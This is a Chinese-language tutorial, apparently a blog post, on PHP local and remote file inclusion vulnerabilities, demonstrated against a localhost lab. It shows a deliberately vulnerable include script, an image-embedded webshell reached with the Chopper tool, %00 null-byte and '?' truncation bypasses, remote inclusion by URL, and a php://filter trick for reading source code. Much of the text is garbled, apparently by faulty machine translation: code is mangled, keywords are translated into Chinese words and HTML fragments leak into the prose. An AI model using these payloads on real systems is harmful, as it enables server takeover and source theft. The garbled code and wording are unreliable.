文件包含漏洞之本地包含和远程包含

  


文件包含漏洞介绍:


,,程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP。净程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。



漏洞成因:


,,文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就   可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞,被包涵的文件在第三方服务是,就形成了远程文件包含漏洞。



漏洞危害:


,,,,执行恶意代码,包含恶意文件控制网站,甚至控制网站服务器等。


<人力资源/>

本地包含漏洞:


代码:

& lt; php ?      $ file=@ $ _GET[& # 39;名字# 39;];      如果文件(美元){   include  $文件;   }      祝辞;

,,,,

以以上这个代码为例:


访问:http://127.0.0.1/fileupload/include.php?name=1。txt


<李>

txt文件代码为:

& lt; php ?      phpinfo ();      祝辞;


我们可以看到txt文件里的内容以php文件的方式执行了;如下图所示:

文件包含漏洞之本地包含和远程包含



再看,如果访问:http://127.0.0.1/fileupload/include.php?name=2.jpg

2. jpg是一个图片的一句话* * *,

文件包含漏洞之本地包含和远程包含


用菜刀可以直接连接,也就是说不管后缀是什么样,最后都会以php的形式执行。


<人力资源/>

但是有时候会这样,这个在ISCC国赛中遇到了,就是在最后会自动加入。php,非常烦的人。


代码2:

& lt; php ?   ,,,Include , $ _GET[& # 39;页面# 39;]干净.php"   祝辞;


执行结果如下图:

文件包含漏洞之本地包含和远程包含


如果访问:http://127.0.0.1/fileupload/include2.php?page=1。txt


还是报的错。


文件包含漏洞之本地包含和远程包含

解决办法:% 00截断

利用环境:php版本& lt; 5.3 magic_quotes_gpc取消的(magic_quotes_gpc=)



访问:http://127.0.0.1/fileupload/include2.php?page=1。txt % 00


文件包含漏洞之本地包含和远程包含

<人力资源/>



远程包含:


,,远程的文件名不能为php可解析的扩展名(php, php5…),而且php。ini中allow_url_fopen和allow_url_include为上才可以。



访问:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1。txt


文件包含漏洞之本地包含和远程包含




如果是遇到这种情况:

文件包含漏洞之本地包含和远程包含“>可以用“?”或者“% 00”阶段;http://127.0.0.1/fileupload/include2.php?page=http </p> <p>://127.0.0.1/1.txt吗?</p> <p> <br/> </p> <人力资源/> <p> <br/> </p> <p>读取源码:php://过滤器/阅读=convert.base64-encode/资源=1。txt </p> <p> <br/> </p> <p> http://127.0.0.1/fileupload/include.php?name=php://过滤器/阅读=convert.base64-encode/资源=1。txt <h2 class=文件包含漏洞之本地包含和远程包含